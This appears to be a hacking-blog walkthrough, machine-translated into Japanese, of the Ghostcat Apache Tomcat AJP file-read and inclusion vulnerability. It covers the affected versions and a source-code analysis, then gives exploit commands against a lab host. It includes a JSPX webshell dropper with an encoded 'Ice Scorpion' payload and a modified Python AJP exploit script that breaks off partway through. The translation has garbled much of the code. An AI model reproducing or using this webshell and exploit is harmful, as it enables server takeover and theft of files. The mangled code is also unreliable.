Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86382654

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1。脆弱性の説明

Apache Tomcatは、Apache Software Foundationの下でJakartaプロジェクトによって開発されたサーブレットコンテナです。デフォルトでは、Apache Tomcatは、AJPコネクタがAJPプロトコルを介して他のWebサーバーとの相互作用を促進できるようにします。ただし、Apache TomcatのAJPプロトコルの実装には脆弱性があります。これにより、攻撃者は悪意のあるAJPリクエストを送信することにより、Webアプリケーションのルートディレクトリにファイルを読み取るか、含めることができます。任意のフォーマットファイルがファイルにアップロードされている場合、任意のコード実行(RCE)につながる可能性があります。この脆弱性は、AJPサービスポートを利用して攻撃を実装します。 AJPサービスが有効になっていない場合、AJPサービスは脆弱性の影響を受けません(Tomcatは、デフォルトでAJPサービスを0.0.0.0/0に有効にします)。

2。危険レベル

高リスク

3。抜け穴の危険

攻撃者は、すべてのTomcat WebAppディレクトリの下で任意のファイルを読み取ることができます。さらに、Webサイトアプリケーションがファイルアップロード機能を提供する場合、攻撃者は最初に悪意のあるJSPスクリプトコードを含むファイルをサーバーにアップロードできます(アップロードされたファイル自体は、画像、プレーンテキストファイルなど、あらゆるタイプのファイルになります)。

iv。影響の範囲

Apache Tomcat 9.x 9.0.31

Apache Tomcat 8.x 8.5.51

Apache Tomcat 7.x 7.0.100

Apache Tomcat 6.x

5。前提条件

脆弱性インパクトバージョンの範囲内にあるTomcatの場合、AJPコネクタを有効にし、攻撃者がAJPコネクタサービスポートにアクセスできる場合、GhostCatの脆弱性に悪用されるリスクがあります。注tomcat AJPコネクタは、デフォルトの構成で有効になり、リスニングは0.0.0.0:8009です。

vi。脆弱性の原則

Tomcatには2つのコネクタがあります。つまり、HTTPとAJP:デフォルトのHTTPポートは8080です。これはHTTP要求を処理しますが、AJPデフォルトポート8009はAJPプロトコルからのリクエストを処理するために使用されます。 AJPはHTTPよりも最適化されており、主に逆、クラスタリングなどに使用されます。脆弱性は、TOMCAT AJPプロトコルの欠陥によって引き起こされます。攻撃者は、この脆弱性を使用して、特定のパラメーターを構築することにより、サーバーWebAppの下の任意のファイルを読み取ることができ、任意のファイルを含めることができます。特定のアップロードポイント、写真馬のアップロードなどがある場合は、シェルを入手できます

7。脆弱性分析

1。脆弱性原因分析:Tomcatのデフォルトのconf/server.xmlは2つのコネクタで構成されています。1つは8080の外部HTTPプロトコルポート、もう1つはデフォルトの8009 AJPプロトコルポートです。両方のポートは、デフォルトで外部ネットワークIPで監視されます。

下の図に示すように:

rmhxomyba5x7890.png

tomcatはorg.apache.coyote.ajp.ajpprocessorに電話して、AJPリクエストを受信するときにAJPメッセージを処理します。 PreperereQuestはAJPのコンテンツを取り出し、リクエストオブジェクトの属性プロパティに設定します。

下の図に示すように:

apivzcvci5d7891.png

したがって、この機能は、リクエストオブジェクトの次の3つの属性属性を制御するために使用できます

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

次に、対応するリクエストにカプセル化した後、下の図に示すようにサーブレットマッピングプロセスに従ってください。

u5djmms1ry27892.png

特定のマッピング方法は簡単です。自分でコードを表示できます。

2。UtilizationMethod :(1)、DefaultServletを使用して任意のファイルのダウンロードを実現します

URL要求がマッピングされたURLリストにない場合、以下の図に示すように、上記の3つのプロパティに従ってTomcatのデフォルトのデフォルトサーブレットが読み取られます。

llaeqgp2o5v7893.png

ServerSourceメソッドを介してリソースファイルを取得します

bskwchhcfbr7894.png

getRelativePathを介してリソースファイルパスを取得します

d4un0bbfi2f7895.png

次に、AJPによって制御される上記の3つの属性を制御することにより、ファイルが読み取られます。上記の3つの属性を操作することにより、クラス、XML、JAR、その他のファイルに限定されない /Web-INFの下のすべての機密ファイルを読み取ることができます。

(2)jspservletを介して接尾辞ファイルの包含を実装します

URL(http://xxx/xxx/xxx.jspなど)がorg.apache.jasper.servlet.jspservletサーブレットでマッピングする場合、図:に示すように上記の3つの属性を介してアクセスしたJSPファイルも制御できます。

joxolkvzmjh7896.png

パスを制御した後、ファイルはJSPで解析できます。そのため、RCEを実装するには、制御可能なファイルコンテンツを備えたファイルのみが必要です。

8。脆弱性の再発

1。環境準備(1)。 Windowsの下で繁殖する脆弱性の環境の準備、ここではTomcat-8.5.32が例として使用されます。

https://github.com/backlion/cve-2020-1938/blob/master/apache-tomcat-8.5.32.zip

(2)JDKをインストールし、JDK環境を構成します

(3)その後、Tomcatを起動し、Tomcat Directory/Bin Folderの[起動]をクリックします。

tb1kgkdve4q7897.png

2。脆弱性の複製と利用(1)、任意のファイルを読む(WebAppsディレクトリのファイルをここで読むことができます)

root@kali2019:〜#git clone https://github.com/ydhcui/cnvd-2020-10487-tomcat-ajp-lfi

root@kali2019:〜#cd cnvd-2020-10487-tomcat-ajp-lfi/

root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#chmod +x cnvd-2020-10487-tomcat-ajp-lfi.py

root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#python cnvd-20-10487-tomcat-ajp-lfi.py192.168.1.9 -p 8009 -f web-inf/web-inf.xml

z0msc5htjgi7898.pngROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F INDEX.JSP

pomoqg4n31x7899.png509ROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F TEST.TXT

j15eay5d2rk7900.png2。任意のファイルには以下が含まれます:(これは少し役に立たないので、含めるにはファイルコンテンツをアップロードする必要があります)(1)最初に含める必要があるJSPファイルコードをアップロードします。これがIce Scorpion Pony(test.txt)です

以下は、test.txtファイルをルートディレクトリにアップロードするためです(脆弱性のデモンストレーションのために、このディレクトリにファイルを直接アップロードします。実際の環境では、ファイルのアップロード、TXTファイルのアップロード、脆弱性のエクスプロードを介してファイルを脆弱性にアップロードできます)

cpqfvkkdczi7901.png

test.txtファイルコンテンツ:

jsp:root xmlns:jsp='http://java.sun.com/jsp/page' xmlns='http://www.w3.org/1999/xhtml' xmlns:c='http://java.sun.com.sun.com.sun.com.sun.com.sun.com

jsp:directive.page contentType='text/html' pageencoding='utf-8'/

jsp:directive.page import='java.io。*'/

JSP:Directive.Page Import='Sun.Misc.Base64Decoder'/

htmlheadtitlefuck/title/head

ボディbgcolor='#ffffff'

//MIMA:PASS

jsp:scriptlet![cdata [

string realpath=request.getRealPath(request.getRequesturi());

文字列dir=new file(realpath).getParent();

string strpath=dir+'/t00ls.jspx';

ファイルstrfile=new file(strpath);

boolean filecreated=strfile.createNewfile();

ライターJSPX=new BufferedWriter(new FileWriter(Strfile));

文字列TMP='PGPZCDPYB290IHHTBG5ZOMPZCD0IAHR0CDOVL2PHDMEUC3VULMNVBS9KU1AVUGFNZSIGDMVYC2LVBJ0IMS4YIJ48ANNWOMRPCMVJDGL2ZS5WYWDLIGLTCG9YDD0IA Mf2ys51dglsliosamf2yxguy3j5chrvliosamf22yxguy3j5chrvlnnwzwmukiivpjxqc3a6zgvjbgfyyxrpb24+ingsyxnzifugzxh0zwzw5kcybdbgfzc0xvywrlcntvk ensyxnztg9hzgvyigmpe3n1cgvykgmpo31wdwjsawmgq2xhc3mgzyhiexrliftdyil7cmv0dxjuihihihihihihihihihihihihihihihihlmrmrlzmluzunsyxnzkgismcxilmxlbmd07fx08l2pz cdpkzwnsyxjhdglvbj48annwonnjcmmlwdgxldd5pzihyzxf1zxn0lmdldfhcmftzxrlciggfzcyipit1udwxskxtdhjpbmcgaz0oiiilmmjvulelnjhbmbvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv suqokskucmvwbgfjzsgilsiiiplnn1ynn0cmluzygxnik7c2vzc2lvbi5wdxrwywx1zsgidsisayk7b3v0lnbyaw50kgspo3jldhvybjt9q2lwagvyigm9q2lwagv ylmdldeluc3rhbmnlkcjbrvmikttjlmluaxqomixuzxcgu2vjcmv0s2v55u3blyygoc2vzc2lvbi5nzxrwywx1zsgidsipjtjtjtjtjtjtjtjiiptt uzxcgvsh0aglzlmdldensyxnzkkuz2v0q2xhc3nmb2fkzxiokskuzyhlmrvrvrmluywwobmv3ihn1bi5taxnjlkjbu0u2nelly29kzioks5knvnvzgnvzgnvzをvxdwvzdc5nzxrszwfkzxioks5yzwfktgluzsgpkskplm5ld0luc3rhbmnlkckuzx F1YWXZKHBHZ2VDB250ZXH0KTS8L2PZCDPZY3JPCHRSZXQ+PCC3A6CM9VDD4=';

string str=new String((new Base64Decoder())。DecodeBuffer(TMP));

string estr=java.net.urldecoder.decode(str);

jspx.write(estr);

jspx.flush();

jspx.close();

out.println(strpath);

]]/jsp:scriptlet

/体

/HTML

/jsp:root

(2)テストはtest.txtに直接アクセスできます

http://192.168.1.9:8080/test.txt

(3)POCを変更する必要があり、「/asdf」が「/asdf.jspx」に含まれています

https://github.com/backlion/cnvd-2020-10487-tomcat-ajp-lfi/blob/master/cnvd-2020-10487-tomcat-ajp-lfi.py

変更されたコードは次のとおりです。

#!/usr/bin/env python

#cnvd-2020-10487 tomcat-ajp lfi

#by ydhcui

インポート構造

#いくつかの参照:

#https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

def pack_string(s):

sがne:の場合

return struct.pack( 'h'、-1)

l=len(s)

return struct.pack( 'h%dsb'%l、l、s.encode( 'utf8')、0)

def unpack(stream、fmt):

size=struct.calcsize(fmt)

buf=stream.read(size)

return struct.unpack(fmt、buf)

def upack_string(stream):

サイズ、=アンパック(ストリーム、 'h')

if size==-1:#null文字列

なしなし

res、=unpack(stream、 '%ds'%size)

stream.read(1)#\ 0

RESを返します

クラスNotFoundException(例外):

合格

クラスAJPBodyRequest(オブジェクト):

#サーバー==webサーバー、container==サーブレット

server_to_container、container_to_server=range(2)

max_request_length=8186

def __init __(self、data_stream、data_len、data_direction=none):

self.data_stream=data_stream

self.data_len=data_len

self.data_direction=data_direction

def serialize(self):

data=self.data_stream.read(ajpbodyrequest.max_request_length)

Len(data)==0:の場合

return struct.pack( 'bbh'、0x12、0x34、0x00)

else:

res=struct.pack( 'h'、len(data))

RES +=データ

self.data_direction==ajpbodyrequest.server_to_container:の場合

header=struct.pack( 'bbh'、0x12、0x34、len(res))

else:

header=struct.pack( 'bbh'、0x41、0x42、len(res))

Header + Resを返します

def send_and_receive(self、socket、stream):

true:

data=self.serialize()

socket.send(データ)

r=ajpresponse.receive(stream)

while r.prefix_code!=ajpresponse.get_body_chunkおよびr.prefix_code!=ajpresponse.send_headers:

r=ajpresponse.receive(stream)

r.prefix_code==ajpresponse.send_headersまたはlen(data)==4:の場合

壊す

クラスajpforwardRequest(オブジェクト):

_、_、options、get、head、post、put、delete、trace、propfind、proppatch、mkcol、copy、move、lock、lock、unlock、acl、Report、version_control、checkin、checkout、uncheckout、search、mkworkspace、update、labe、merge、baseline_control、mkactivity=range(28)

request_methods={'get': get、' post ': post、 'head ': head、' options ': options、 'put ': put、' delete': delete、 'trace': trace}

#サーバー==webサーバー、container==サーブレット

server_to_container、container_to_server=range(2)

common_headers=['sc_req_accept'、

'sc_req_accept_charset'、 'sc_req_accept_encoding'、 'sc_req_accept_language'、 'sc_req_authorization'、

'sc_req_connection'、 'sc_req_content_type'、 'sc_req_content_length'、 'sc_req_cookie'、 'sc_req_cookie2'、

'sc_req_host'、 'sc_req_pragma'、 'sc_req_referer'、 'sc_req_user_agent'

]

属性=['context'、 'servlet_path'、 'remote_user'、 'auth_type'、 'query_string'、 'route'、 'ssl_cert'、 'ssl_cipher'、 'ssl_session'、 'req_attribute'、 'ssl_key_size'、 'secret _meth_metheize'、

def __init __(self、data_direction=none):

self.prefix_code=0x02

self.method=none

self.protocol=none

self.req_uri=none

self.remote_addr=none

self.remote_host=none

self.server_name=none

self.server_port=none

self.is_ssl=none

self.num_headers=none

self.request_headers=none

self.attributes=none

self.data_direction=data_direction

def pack_headers(self):

self.num_headers=len(self.request_headers)

res=''

res=struct.pack( 'h'、self.num_headers)

hの場合